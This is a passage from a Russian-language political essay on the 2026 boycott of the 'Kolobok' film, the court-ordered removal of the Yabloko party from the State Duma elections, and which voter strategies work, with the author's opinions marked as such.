провалился»](https://gordonua.com/section-bulvar/news-kak-lyubymyiy-heroy-putyna-kolobok-sprovotsyroval-vzryivyi-v-moskve-y-protestyi-v-rf-samyie-smeshnyie-memyi-07-08-2026.html), — мем, а не событие. Протест остался там же, где и весь протест 2026 года: в кассе, в оценке, в костюме — в формах, за которые нет статьи. ### Электрик Владимир и цена вопроса о графике Самый показательный эпизод скандала уместился в одну ветку комментариев. 4 августа московский электрик Владимир [спросил под постом Журавлёва](https://altapress.ru/story/kritika-kolobka-obernulas-skandalom-rezhisser-i-akter-oskorbili-elektrika-v-seti-391872), почему Колобок в трейлере «так отвратительно нарисован» и почему графика уступает советской классике. Вопрос, который задавала половина интернета: сходство персонажа с блогером Олегом Монголом [уже было мемом](https://riamo.ru/articles/istorii/skandalnyj-kolobok-pochemu-film-vyzval-neodnoznachnuju-reaktsiju-zritelej/), а критики — от [Film.ru](https://www.film.ru/articles/venom-na-drozhzhah-recenziya-na-skazku-posledniy-bogatyr-kolobok) («слегка пугающий цифровой ухмылкой главный герой») до [«Афиши Daily»](https://daily.afisha.ru/cinema/34086-krosh-ili-kolobok-ocenivaem-novyh-smesharikov-i-spin-off-poslednego-bogatyrya/amp/) («нарисован довольно жутковато») — писали о том же в печатных выражениях. Режиссёр Маслов сначала ответил по делу: «Ты не видел кино». А потом [нашёл личный телеграм-канал Владимира, вычислил его профессию](https://spletnik.ru/sozdateli-novogo-kolobka-publichno-zatravili-moskovskogo-elektrika-za-to-chto-on-raskritikoval-ikh-film-342591) и публично, с матом, разобрал качество его электрощитков: «Пусть сначала с щитками разберётся». Журавлёв поддержал: [«Да утомили вы только розетки ставить, одни розетки!»](https://kino.rambler.ru/movies/56858096-moskovskiy-elektrik-zayavil-chto-ne-derzhit-obidy-na-rezhissera-kolobka-maslova/). Харламов добавил про перенесённую премьеру: [«Мне глубоко [нецензурно] на Человека-паука, я Бэтмена люблю!»](https://meduza.io/feature/2026/08/06/rossiyskie-prokatchiki-peredvinuli-premieru-novogo-cheloveka-pauka-chtoby-vypustit-v-prokat-film-o-kolobke). Достойнее всех в этой истории выглядит сам электрик. Владимир [сказал](https://kino.rambler.ru/movies/56858096-moskovskiy-elektrik-zayavil-chto-ne-derzhit-obidy-na-rezhissera-kolobka-maslova/), что обиды не держит: «Может, они были уставшие или злые. Смысл мне обращать на это внимание?» — но на фильм принципиально не пойдёт. Публичных извинений создателей [никто не зафиксировал](https://mel.fm/novosti/7918546-rezhisser-kolobka-rasskazal-chto-okolo-dvukh-nedel-poluchayet-ugrozy-v-adres-svoyey-semi). Зато зафиксирована реакция сверху: зампред Госдумы Владислав Даванков [написал](https://spletnik.ru/plokhomu-kino-ne-pomozhet-otlozhennaya-premera-zampred-gosdumy-vladislav-davankov-osudil-sozdateley-kolobka-342758) «Плохому кино не поможет отложенная премьера. Давайте снимать качественное кино, а не запрещать обсуждать плохое» — редкий случай, когда даже внутри системы перенос назвали ошибкой. ### Когда накипело: от единиц на Кинопоиске до статьи УК А теперь тёмная сторона, без которой картина неполна. Волна не остановилась на оценках. Маслов и Журавлёв около двух недель [получали анонимные угрозы](https://rtvi.com/news/vozbuzhdeno-ugolovnoe-delo-iz-za-ugroz-sozdatelyam-kolobka/): им и их семьям желали смерти, обещали сжечь имущество. «Приходят такие сообщения в личку, от которых волосы дыбом. Угрозы, проклятья, тьма. Они пишут моей жене. Моей семье», — [говорил Маслов](https://www.kp.ru/daily/277805.5/5287533/). 7 августа правовая редакция «России-24» — телеканала, [спонсировавшего фильм](https://meduza.io/news/2026/08/08/rossiya-24-obratilas-v-prokuraturu-i-sledstvennyy-komitet-iz-za-travli-sozdateley-filma-o-kolobke), — обратилась в прокуратуру и Следственный комитет. 8 августа возбуждено [уголовное дело о публичной угрозе убийством](https://www.fontanka.ru/2026/08/08/76578332/) (п. «в» ч. 2 ст. 119 УК, до пяти лет лишения свободы). «Фонтанка» при этом заметила: с учётом массовости угроз фигурантов может оказаться «не одна сотня». Адвокат Сергей Жорин [оценил перспективы сдержанно](https://eanews.ru/rossiya/20260810152545/za-kritiku-kolobka-rossiyane-riskuyut-popast-pod-statyu): эмоциональную фразу в интернет-споре ещё надо отличить от реальной угрозы, и обычно такие дела заканчиваются условным сроком. Но заголовок ЕАН уже поймал суть момента: «За критику „Колобка“ россияне рискуют попасть под статью». Здесь нужны две честные оговорки (оценка автора). Первая: угрозы убийством — не протест, а преступление, и протесту они только вредят, давая власти удобный фрейм «организованного буллинга» вместо разговора о причинах. Вторая: сама температура показательна. За три недели общество прошло путь от «не куплю билет» до волны, в которой следствие ищет сотни фигурантов. Люди не просто устали — накипело. И реакция государства симметрична всей этой заметке: не «почему кипит», а «найти и наказать». ### Что показал «Колобок» Лучше всех связь трёх историй лета сформулировал не политолог, а зритель в отзыве на фильм: [«Колобок плох тем же, чем и скрепный мессенджер макс: его пихают насильно»](https://t-j.ru/kolobok-uhodi/). Люди бойкотировали не сказку — [опрос KP.RU перед премьерой](https://www.vesti.ru/ns/opros-pokazal-skolko-rossiyan-budut-smotret-poslednij-bogatyr-kolobok) показывал, что 61% собирались фильм посмотреть. Бойкотировали принуждение. Контекст делает историю ещё выпуклее: по [исследованию PROGRESS](https://meduza.io/news/2026/03/17/88-rossiyskih-filmov-poluchivshih-gospodderzhku-v-2025-godu-provalilis-v-prokate), 88% российских фильмов с господдержкой 2025 года не окупились, а Фонд кино с апреля 2026 раздаёт безвозвратные деньги по [списку из 17 «духовно-нравственных ценностей»](https://novayagazeta.ru/articles/2026/04/11/fond-kino-raskryl-spisok-17-dukhovno-nravstvennykh-tsennostei-dlia-filmov-s-bezvozvratnoi-gospodderzhkoi-news). Система производит кино, которое можно продать только расчисткой проката, — и «Колобок» показал, что расчистка теперь стоит дороже, чем конкуренция: кинокритики [сошлись на том](https://aif.ru/culture/movie/poka-katastrofy-net-chto-na-samom-depe-proishodit-s-prokatom-kolobka), что переносом «Человека-паука» прокатчики «выстрелили себе в ногу». Оценка на агрегаторе стала бюллетенем для тех, у кого настоящего бюллетеня нет. ## «Яблоко»: единственная графа «за мир» А потом появился настоящий бюллетень. На выборы в Госдуму 18–20 сентября 2026 [допустили 11 партий](https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D0%B1%D0%BE%D1%80%D1%8B_%D0%B2_%D0%93%D0%BE%D1%81%D1%83%D0%B4%D0%B0%D1%80%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%83%D1%8E_%D0%B4%D1%83%D0%BC%D1%83_(2026)). Из них ровно одна шла с антивоенной программой — «Яблоко». [Вся программа — 43 слова](https://www.yabloko.ru/program2026). Суть: соглашение о прекращении огня, дипломатия, мир. Лозунг: «За мир и свободу! За жизнь без страха!». Это не предвыборная поза: антивоенную петицию партия [запустила 13 февраля 2022 года](https://www.yabloko.ru/themes/special-operation) — за неделю до вторжения. ### Партия, которую перемалывали четыре года Чтобы понять цену этой графы в бюллетене, посмотрите, чем партия заплатила за неё ещё до выборов. По [заявлению политкомитета «Яблока»](https://www.yabloko.ru/reshenija_politicheskogo_komiteta/2026/07/01) от 1 июля 2026: у 32 членов партии и в пяти офисах прошли 44 обыска с вооружёнными силовиками, составлено 46 административных протоколов на 8,5 млн рублей штрафов, 12 членов объявлены «иноагентами», 9 лишены права баллотироваться за «демонстрацию экстремистской символики». К августу [12 членов партии — фигуранты уголовных дел, восемь — за решёткой](https://semnasem.org/articles/2026/08/10/odno-yabloko-na-vseh). По подсчёту «Важных историй», права баллотироваться лишились [около 40 заметных членов партии](https://istories.media/opinions/2026/07/30/zachem-yabloko-dopustili-do-viborov/). Два дела стоит знать в лицо. Зампред партии Максим Круглов 24 июня 2026 [получил 7 лет колонии](https://ria.ru/20260624/sud-2100860026.html) за два поста апреля 2022 года — о Буче и Мариуполе. Главным свидетелем обвинения выступил [25-летний функционер «Единой России», представившийся политологом](https://novayagazeta.ru/articles/2026/05/07/sluchainyi-svidetel-s-lubianki): он путался в показаниях и ссылался на «случайную встречу» с ФСБ. Последнее слово Круглова: [«Это ад, об этом невозможно не говорить, необходимо расследование. Какое здесь распространение заведомо ложных сведений?»](https://zona.media/online/2026/06/24/kruglov-6). Второй зампред, псковский политик Лев Шлосберг, сидит в СИЗО [по третьему подряд делу](https://meduza.io/news/2025/12/05/protiv-lva-shlosberga-vozbudili-esche-odno-ugolovnoe-delo-o-feykah-pro-armiyu) — за репост, сделанный в феврале 2022 года, то есть до того, как статья о «фейках» вообще появилась в кодексе; арест [продлён до ноября 2026](https://echofm.online/news/lvu-shlosbergu-prodlili-arest-eshhyo-na-shest-mesyaczev-do-21-noyabrya). Его слова после ареста: «Свобода — внутри нас». Председателя партии Николая Рыбакова в список не пустили: [штраф за «экстремистскую символику»](https://eanews.ru/rossiya/20260707160301/yavlinskiy-otkazalsya-ot-uchastiya-v-vyborah-iz-za-novyh-lyudey) — это был пост с соболезнованиями в связи со смертью Навального — автоматически лишил его права баллотироваться на год. ### Три недели, которые напугали Кремль И вот эту перемолотую партию 29 июля ЦИК [регистрирует единогласно](https://ovd.info/en/express-news/2026/07/29/yabloko-has-been-allowed-participate-state-duma-elections-it-only-party). Расчёт системы источник «Важных историй», близкий к ЦИК, сформулировал цинично и коротко: [«Пусть покажут свои 2%, чтобы людям было, где душу отвести»](https://istories.media/opinions/2026/07/30/zachem-yabloko-dopustili-do-viborov/) — управляемый клапан для протестных голосов. Клапан сорвало за две недели. Ролики молодых людей с агитацией за «Яблоко» [набирали миллионы просмотров](https://novayagazeta.ru/articles/2026/08/11/otniali-no-ne-vse), телеграм-канал партии, по данным «Новой газеты», вырос на два порядка. За «Яблоко» [призвали голосовать](https://meduza.io/feature/2026/08/07/yabloko-dopustili-na-vybory-i-tut-nachalos) Навальная, Яшин, Кара-Мурза, Соболь — люди, десятилетиями спорившие с этой партией; Кара-Мурза назвал это «самым широким объединением демократической оппозиции с 2011 года». По данным «Медузы», в опросах партия [подобралась к 6%](https://meduza.io/en/feature/2026/08/11/the-kremlin-let-russia-s-only-anti-war-party-yabloko-onto-the-ballot-to-bleed-protest-votes-but-when-it-started-polling-at-6-the-supreme-court-stepped-in) — проходному барьеру. Кампания на глазах превращалась в референдум о войне — политолог Татьяна Становая позже [именно так и объяснит](https://meduza.io/feature/2026/08/11/kreml-ispugalsya-vybory-riskovali-prevratitsya-v-spor-o-voyne-teper-ostaetsya-golosovat-protiv-edinorossov) развязку. Система отреагировала хором. Песков ещё 28 июля [снисходительно объяснял](https://ru.themoscowtimes.com/2026/07/28/vkremle-otkazalis-schitat-partiei-zanyavshee-antivoennuyu-pozitsiyu-yabloko-a202023) Washington Post: «Я бы даже не назвал „Яблоко“ партией. Это не более чем ячейка». 6 августа Слуцкий (ЛДПР) [потребовал признать партию «нежелательной организацией»](https://ria.ru/20260806/rossiya-2109451276.html), Миронов [назвал «партией предателей»](https://www.vedomosti.ru/politics/news/2026/08/06/1219341-snyat-yabloko), Зюганов обвинил в неподдержке «укрепления государственности». 7 августа в дело вступила «Родина». Утром 10 августа ЦИК [ещё утверждал «Яблоку» второе место](https://www.fontanka.ru/2026/08/10/76579680/) в бюллетене. Вечером того же дня списка не существовало. ## Суд, который надо читать дословно ### Кто такая «Родина» и репетиция в Карелии Истца стоит рассмотреть внимательно, потому что он говорит о процессе больше, чем решение. «Родина» — партия, которую политологи [с 2003 года описывают как кремлёвский спойлер](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%B4%D0%B8%D0%BD%D0%B0_(%D0%BF%D0%B0%D1%80%D1%82%D0%B8%D1%8F,_%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F)); на думских выборах 2021 года она набрала 0,80% голосов. Её лидер Алексей Журавлёв заседает во фракции ЛДПР, занимает пост первого зампреда комитета по обороне и известен заявлением в эфире «60 минут», что [«два миллиона украинцев должны быть денацифицированы, то есть уничтожены»](https://ru.wikipedia.org/wiki/%D0%96%D1%83%D1%80%D0%B0%D0%B2%D0%BB%D1%91%D0%B2,_%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B5%D0%B9_%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80%D0%BE%D0%B2%D0%B8%D1%87). Именно этот человек подал иск о том, что антивоенная программа — «экстремизм». После победы он [пообещал](https://ria.ru/20260810/zhuravlev-2110092008.html): «Будем и дальше бить врага — и внешнего, и внутреннего». Схему обкатали за две недели до Москвы: 25 июля «Родина» подала иск против списка «Яблока» на выборах в парламент Карелии, [29 июля Верховный суд Карелии его удовлетворил](https://semnasem.org/news/2026/07/29/sud-snyal-spisok-yabloka-s-vyborov-v-parlament-karelii), 7 августа апелляция засилила. Генеральная репетиция прошла успешно — федеральный иск подали в тот же день. Источник «Медузы» из числа политтехнологов [уверял](https://www.kommersant.ru/doc/8876210), что политблок Кремля «прямую кампанию» не заказывал, но «Родину» используют как инструмент, — это оценка инсайдера, проверить её нельзя. Ирония, которую история дописала сама: в 2005 году список самой «Родины» [сняли с выборов в Мосгордуму через суд](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%B4%D0%B8%D0%BD%D0%B0_(%D0%BF%D0%B0%D1%80%D1%82%D0%B8%D1%8F,_%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F)) — инструмент ей знаком с обеих сторон. ### Десять часов на Поварской Рассматривал иск [судья Вячеслав Кириллов](https://novayagazeta.ru/articles/2026/08/08/isk-o-sniatii-iabloka-s-vyborov-rassmotrit-sudia-priznavshii-memorial-ekstremistami-i-otkloniavshii-zhalobu-navalnogo-k-kolonii-news) — тот самый, что признал «Мемориал» экстремистской организацией, ликвидировал «Гражданскую инициативу» и отклонил жалобу Надеждина. К зданию суда на Поварской пришли [около 500 сторонников партии](https://ru.themoscowtimes.com/2026/08/10/okolo-500-chelovek-sobralis-u-verhovnogo-suda-gde-rassmotryat-snyatie-yabloka-s-viborov-a203041) — почти всем меньше тридцати. Люди скандировали «За мир!», угощали друг друга яблоками и пели «Перемен» Цоя. Рядом дежурили автозаки; ОМОН [увёл «на разговор» двух девушек с листовками](https://meduza.io/feature/2026/08/11/ya-tak-v-posledniy-raz-nervnichal-kogda-s-devushkoy-rasstavalsya) и оштрафовал водителя за трек в поддержку партии. Заседание шло почти десять часов, [трансляцию одновременно смотрели больше 7000 человек](https://www.svoboda.org/a/verhovnyy-sud-rossii-snyal-partiyu-yabloko-s-uchastiya-v-vyborah/33826037.html). Расходились вечером «по одному, чтобы это не было шествием» — фраза из репортажа «Медузы», в которой уместилось всё уличное право 2026 года. [Аргументы иска](https://meduza.io/feature/2026/08/10/verhovnyy-sud-snyal-yabloko-s-vyborov-v-gosdumu-po-trebovaniyu-konkurentov-partii-rodina-glavnoe) стоит прочитать без пересказа, потому что пересказу не веришь. Антивоенная позиция — это «призывы прекратить освобождение оккупированных территорий», то есть экстремизм. Фраза «Лишь бы не было войны» — [нарушение авторских прав на пьесу Володина](https://www.vedomosti.ru/politics/articles/2026/08/10/1219948-yabloko-snyali). Песня «Пусть всегда будет солнце» — нарушение авторских прав. Фотография ядерного гриба над Хиросимой 1945 года — нарушение авторских прав ([чьих — истец признал, что не знает](https://eadaily.com/ru/news/2026/08/10/verhovnyy-sud-snyal-yabloko-s-vyborov-v-gosdumu-po-isku-partii-rodina)). Картинки, сгенерированные ChatGPT, — нарушение прав «владельца нейросети». Логотип партии — плагиат плаката столетней давности. «Агитацию вне фонда» истец посчитал по лайкам: [67,8 тысячи публикаций перевели в 88 млн рублей](https://www.fontanka.ru/2026/08/10/76579680/) «расходов». Было и «иностранное финансирование»: Росфинмониторинг нашёл жертвователей, получавших переводы из-за границы. Адвокат партии [озвучил масштаб](https://www.kommersant.ru/doc/8876176): эти люди пожертвовали «Яблоку» 16 900 рублей. Шестнадцать тысяч девятьсот. Рыбаков с трибуны сформулировал суть процесса лучше любого комментатора: [«Я не знаю, как объяснить представителям истца то, что нас поддерживают люди, которые не хотят, чтобы их убивали»](https://meduza.io/feature/2026/08/10/verhovnyy-sud-snyal-yabloko-s-vyborov-v-gosdumu-po-trebovaniyu-konkurentov-partii-rodina-glavnoe). Деталь, которая говорит о качестве обвинения больше любых комментариев: даже прокурор, поддержав иск про авторские права, [экстремизма в действиях партии не увидел](https://www.vedomosti.ru/politics/articles/2026/08/10/1219948-yabloko-snyali). Судья удовлетворил иск полностью — [впервые в современной России](https://novayagazeta.eu/articles/2026/08/10/bez-golosovaniia-za-mir) уже зарегистрированный федеральный список снят по иску конкурента. Явлинскому осталась [одна фраза](https://meduza.io/news/2026/08/10/eto-samorazoblachenie-politicheskoy-sistemy-yavlinskiy-o-reshenii-snyat-yabloko-s-vyborov-v-gosdumu): «Это саморазоблачение политической системы». ### Что осталось: апелляция и 126 округов Формально игра не окончена, и здесь важна точность. На обжалование — пять дней; на 12 августа партия [ждёт мотивировочную часть решения](https://silver.ru/news/yabloko-podast-appelyatsiyu-posle-polucheniya-motivirovochnoy-chasti-resheniya-vs/), жалоба ещё не подана. Шансы юристы оценивают как минимальные — политолог Слатинов формулирует прямо: «решение судебных инстанций во многом предопределено». Но есть и свежий контрпример: в тот же день, 10 августа, апелляция [вернула на выборы кандидата «Новых людей» в Петербурге](https://mr-7.ru/articles/2026/08/11/kandidata-ot-novykh-liudei-kulikova-vernuli-na-vybory-v-zaks-news), снятого по такому же «авторскому» основанию — за музыку в ролике. Если решение по «Яблоку» вступит в силу после печати бюллетеней, строку партии [будут вычёркивать вручную](https://www.vedomosti.ru/politics/articles/2026/08/11/1220180-chto-budet-s-byulletenem) в каждой участковой комиссии — физически зачёркнутая графа «за мир» как финальный образ кампании. Кроме апелляции у партии остались [126 одномандатных округов](https://www.vedomosti.ru/politics/articles/2026/08/11/1220170-sud-snyal-yabloko-s-viborov): иск не касался одномандатников, среди которых экс-председатель партии Сергей Митрохин в центре Москвы и Виталий Исаков — тот самый юрист, защищавший и Шлосберга, и список в Верховном суде. Партия готовит [встречный иск к «Родине» о защите репутации](https://ria.ru/20260810/yabloko-2110091532.html). А главный итог для читателя этой заметки сформулировал Явлинский заголовком своего заявления: [«Это не о судьбе „Яблока“ — это о судьбе России»](https://www.yavlinsky.ru/article/eto-ne-o-sudbe-yabloka-eto-o-sudbe-rossii/). ## Это не эксцесс. Это технология, версия 3.0 Может показаться, что случилось что-то беспрецедентное. И да, и нет. Первая версия технологии — «подписной фильтр». В 2015-м так [снимали списки ПАРНАС](https://ria.ru/20150727/1150271319.html): браковали подписи. В 2019-м так [не пустили 56 кандидатов в Мосгордуму](https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D0%B1%D0%BE%D1%80%D1%8B_%D0%B2_%D0%9C%D0%BE%D1%81%D0%BA%D0%BE%D0%B2%D1%81%D0%BA%D1%83%D1%8E_%D0%B3%D0%BE%D1%80%D0%BE%D0%B4%D1%81%D0%BA%D1%83%D1%8E_%D0%B4%D1%83%D0%BC%D1%83_(2019)) — и получили самые массовые протесты десятилетия, 1373 задержанных за один день. Вторая версия — точечные поражения в правах. [Закон 2021 года](https://www.svoboda.org/a/putin-podpisal-zakon-o-zaprete-izbiratjsya-prichastnym-k-ekstremizmu/31290268.html) отсёк всех «причастных к экстремистским организациям». Дунцовой в 2023-м [отказали за «ошибки в документах»](https://zona.media/news/2023/12/23/duncova). Надеждину в 2024-м — [за «брак в подписях»](https://www.rbc.ru/politics/08/02/2024/65c49b539a794748375d286b). А в 2026-м его же лишили права баллотироваться совсем изящно: [штраф в тысячу рублей](https://ria.ru/20260717/shtraf-2105382969.html) за ссылку на стрим с фотографией Навального — и год без выборов. Дёшево и без мучеников. Снятие «Яблока» — третья версия: иск конкурента к уже зарегистрированному списку. Такое на федеральном уровне — впервые. Но и тут не импровизация: ещё в 2016 году Верховный суд [описывал снятие списка](https://rapsinews.ru/judicial_analyst/20160816/276665194.html) за агитацию с портретом Че Гевары — без согласия правообладателей фото. Инструмент десять лет лежал на полке. Летом 2026 его достали. Вывод (оценка): регистрация больше ничего не гарантирует. Любой допущенный список теперь можно снять в последний месяц — материал для иска, как показала «Родина», найдётся всегда: хоть Хиросима, хоть ChatGPT. ## Почему эти выборы — про твой интернет Сначала — как вообще выглядят выборы, из которых вычеркнули графу «за мир». Голосование трёхдневное; дистанционное электронное голосование расширено [до 33 регионов с охватом до 48 млн избирателей](https://www.cnews.ru/news/line/2026-06-25_mintsifry_v_2026_gdistantsionnoe), при том что движение «Голос» [называет ДЭГ принципиально непроверяемым](https://www.golosinfo.org/articles/155099). Наблюдателей ОБСЕ [не пригласили](https://www.vedomosti.ru/politics/articles/2026/07/09/1212306-kto-obespechit-mezhdunarodnoe-nablyudenie-na-viborah-v-gosdumu) — вместо них зовут делегации из «дружественных» стран. Внутренний ориентир, по данным РБК, — [формула «50 на 55»](https://primamedia.ru/news/2411414/): явка 50%, результат «Единой России» 55%. Борис Надеждин, прекращая собственную кампанию в июле, подвёл черту одной фразой: [«Возможности легально заниматься оппозиционной политикой в России исчерпаны»](https://ru.themoscowtimes.com/2026/07/19/vozmozhnosti-legalno-zanimatsya-oppozitsionnoi-politikoi-v-rossii-ischerpani-nadezhdin-ostanovil-izbiratelnuyu-kampaniyu-a201188). Связь между этим бюллетенем и блокировками не риторическая. Она буквальная: и статус MAX, и обязательные домовые чаты в нём — это законы, принятые уходящей Думой. Следующая Дума — созыва 2026–2031 — примет следующий пакет. Его контуры уже опубликованы: [[DPI/rkn-vpn-2030-roadmap|дорожная карта Роскомнадзора по борьбе с VPN до 2030 года]], расширение [[Белые списки|белых списков]] вплоть до [[DPI/subnet-whitelist-blocking-2026|блокировки целых облачных подсетей]], [[nuc/00-overview|государственные TLS-сертификаты]] с возможностью перехвата трафика, [[DPI/economic-filter-foreign-channels-2026|экономическое выдавливание иностранных сервисов]]. Каждый пункт — это голосование в зале. После 10 августа шансов на хотя бы один голос против почти не осталось (оценка). И круг замыкается на обычном человеке. WhatsApp заблокирован. Telegram — через VPN. Госуслуги привязывают к мессенджеру, который читает переписку. В этих условиях бойкот MAX и умение [[DPI/ru-network-blocklists|резать его трафик]] — уже не чудачество параноика, а массовая гражданская практика. Развилка на пять лет вперёд (прогноз, не факт) простая. Либо цена изоляции — мёртвые каналы, плато аудитории, санкции, молчаливый саботаж миллионов — заставит власть считаться с людьми. Либо следующая Дума доведёт изоляцию рунета до конца, без единого голоса против. Выбор делается сейчас — просто не в бюллетене, из которого вычеркнули графу «за мир», а в том, какой мессенджер стоит у тебя на телефоне и куплен ли билет. ## Работает ли бойкот самих выборов? Проверка стратегий Вся эта заметка — о силе бойкота. Поэтому честность требует разобрать сферу, где бойкот математически не работает: сами выборы. В августе 2026 подробный разбор стратегий избирателя выпустил политик Роман Юнеман — кандидат политических наук, лидер движения «Общество.Будущее» и, что важно для доверия, первая известная жертва электронного голосования в России. Его аргументы мы проверили по источникам; почти всё сходится, одна ошибка найдена — по порядку. Почему бойкот дарит мандаты противнику. Порог явки в России [отменён ещё в 2006 году](https://scilla.ru/works/partii07/protiv.html) — выборы состоятся при любом числе пришедших, а мандаты будут разыграны в любом случае. Отличить сознательного бойкотчика от аполитичного обывателя по урне невозможно: мотивы не пришедших — вопрос интерпретаций, и интерпретировать их будет ЦИК — как «сплочённость вокруг власти». Проверка историей: самая низкая думская явка — [47,88% в 2016 году](https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D0%B1%D0%BE%D1%80%D1%8B_%D0%B2_%D0%93%D0%BE%D1%81%D1%83%D0%B4%D0%B0%D1%80%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%83%D1%8E_%D0%B4%D1%83%D0%BC%D1%83_(2016)) — и именно тогда «Единая Россия» спокойно взяла конституционное большинство. Мировой опыт тот же: в 2005-м венесуэльская оппозиция бойкотировала парламентские выборы — чависты забрали весь парламент и [правят до сих пор](https://meduza.io/feature/2026/01/04/ssha-pohitili-maduro-teper-ego-budut-sudit-za-narkoterrorizm), хотя сам Мадуро с января 2026 сидит в бруклинской тюрьме; сербский бойкот 2020 года, по подсчёту Юнемана, подарил партии Вучича три четверти парламента. Единственный работающий бойкот — референдумы с порогом явки, и здесь единственная найденная нами ошибка ролика: колумбийский антикоррупционный референдум 2018 года провалился, когда [пришли 11,6 млн человек при необходимых ~12,1 млн](https://ria.ru/20180827/1527283168.html), — у Юнемана прозвучало «1,6 млн», занижение в семь раз (вероятно, оговорка; тезису она не вредит — не хватило действительно полумиллиона голосов). Почему порча бюллетеня — тоже подарок. Испорченный бюллетень поднимает явку и не снижает процент партии власти; статистику «неприличных надписей» никто наверх не докладывает. Числа Юнемана подтверждаются: рекорд недействительных бюллетеней — [6,84% на первых думских выборах 1993 года](https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D0%B1%D0%BE%D1%80%D1%8B_%D0%B2_%D0%93%D0%BE%D1%81%D1%83%D0%B4%D0%B0%D1%80%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%83%D1%8E_%D0%B4%D1%83%D0%BC%D1%83_(1993)), дальше доля держится в районе 1–2%; кампания «Нах-Нах» Немцова и Шендеровича в 2011-м дала 1,6% недействительных — весь её результат. Графа «против всех» (4,22% в 1993-м) отменена в 2006-м вместе с порогом явки. Что действительно срабатывало — тактическое голосование. Кампания 2011 года «за любую партию, кроме партии жуликов и воров» — единственная в новейшей истории, закончившаяся массовыми протестами и испугом системы. Математика барьера при этом жестока: голоса за партию, не взявшую 5%, перераспределяются в пользу прошедших — то есть прежде всего «Единой России»; утешительный приз за 3% — [152 рубля за голос в год из бюджета](https://ria.ru/20170101/1485050214.html). После снятия «Яблока» тактический выбор сузился до системных партий — советы эмигрантской оппозиции на этот случай собраны выше, в разделе про апелляцию. Контекст, в котором всё это происходит, Юнеман описывает точно — мы проверили каждый пункт. ВЦИОМ в мае 2026, после худших рейтингов «Единой России» с 2021 года, [сменил методику опросов](https://ru.themoscowtimes.com/2026/05/15/vtsiom-pomenyal-metodiku-podscheta-reitinga-putina-posle-silneishego-za8-let-padeniya-a195384) — и рейтинг партии власти [подрос с 27,7% до 31,2%](https://news.mail.ru/politics/70893852/). Тревожность по замерам ФОМ достигла [57% — максимума со времён мобилизации](https://ru.themoscowtimes.com/2026/08/01/trevozhnost-rossiyan-dostigla-maksimuma-sovremen-mobilizatsii-a202417), на фоне топливного кризиса. А Павла Дурова 30 июля [внесли в перечень террористов и экстремистов](https://www.fontanka.ru/2026/07/30/76562050/) — так что тезис «давление на Telegram только усилится» уже не прогноз. И последний совет из ролика, за которым — личная история. Юнеман рекомендует голосовать бумажным бюллетенем в последний день и внимательно выбирать живого кандидата в своём одномандатном округе. Он знает цену вопроса: в 2019-м в Чертанове он [выиграл бумажное голосование и проиграл мандат из-за электронного](https://ru.wikipedia.org/wiki/%D0%AE%D0%BD%D0%B5%D0%BC%D0%B0%D0%BD,_%D0%A0%D0%BE%D0%BC%D0%B0%D0%BD_%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80%D0%BE%D0%B2%D0%B8%D1%87) — 9561 голос против 9645, разрыв в 84 голоса, суд пересматривать итоги отказался. Тот самый ДЭГ, который тогда обкатали на одном московском округе, в 2026-м развёрнут на 33 региона и 48 млн избирателей. > [!important] Вывод: два разных бойкота > Потребительский бойкот работает, потому что там голос считаешь ты сам: некупленный билет, неустановленное приложение и единица на агрегаторе видны в кассе и в отчётах без всякого ЦИК. Электоральный «бойкот» не работает, потому что там голос считает система — и непришедшего она записывает в «сплотившиеся». Это противоположные стратегии: первая отнимает у системы деньги и легитимность, вторая дарит ей проценты. Не переносите логику бойкота MAX на избирательный участок (оценка автора, совпадающая с разбором Юнемана). ## Причём тут Колобок В сказке Колобка испекли из последнего, наскребённого по сусекам, — а он укатился от всех, кто считал его своим по праву создания. Фильм с этим именем получился символом ровно наоборот. Испечён на общие деньги. Прокат расчищен административным письмом. От создателей не укатился. А зрителя, который отказался его «есть», создатели ещё и высмеяли. На фоне семи лет колонии за посты история со сказкой — самая безобидная из трёх. Именно поэтому она самая наглядная: на ней видно, что людей бесит не кино, не мессенджер и не партия. Бесит модель. На деньги граждан производится продукт, который гражданам же навязывают, отняв альтернативу: фильм вместо «Человека-паука», MAX вместо WhatsApp, бюллетень без графы «за мир». Тест-полоска сработала трижды за одно лето. Если общество бойкотирует даже детскую сказку, почуяв за ней принуждение, — значит запрос на право отказаться стал массовым. ## «Дома сидеть надо»: последний бойкот — ногами Философ и публицист Константин Крылов (1967–2020), один из идеологов русского национализма, ещё в конце 2000-х сформулировал главное требование российского государства к гражданину — в свойственной ему резкой манере. > [!quote] Константин Крылов о «главной государственнической идее» > «Меня иногда упрекают в том, что я, дескать, применяю сильные метафоры — например, сравниваю нашу Многонационалию с тюрьмой. Товарищи не могут взять в толк, что это никакая не метафора. Эрефия — самая охраняемая страна в мире. Разумеется, охраняемая изнутри, то бишь от населения. […] И всё ради чего? Ради реализации главной государственнической идеи Многонационалии — чтобы русские „дома сидели“». > [!warning] Об этой цитате > Текст ходит по сети как запись из блога Крылова; после его смерти в 2020 году блог недоступен, поэтому дословность по первоисточнику проверить нельзя. Цитируется как распространённая версия, а не как выверенный документ. Формула с годами осовременилась: буквальной неподвижности от человека давно никто не требует. Ходи в кино, занимайся спортом, зарабатывай, потребляй, спорь о футболе — занимайся чем угодно, кроме политики: политика — вотчина начальства. И вот здесь лето 2026 вскрыло сбой конструкции, ради которого и написана эта заметка (оценка автора): граждан двадцать лет выдавливали из политики в частную жизнь и потребление — а протест пришёл ровно туда, куда их выдавили. В кассу кинотеатра. В магазин приложений. В оценку на агрегаторе. Государство само назначило потребление единственной разрешённой сферой свободы — и теперь каждое потребительское «нет» читается как политическое. У тех, кому «нет» рублём мало, остаётся последняя 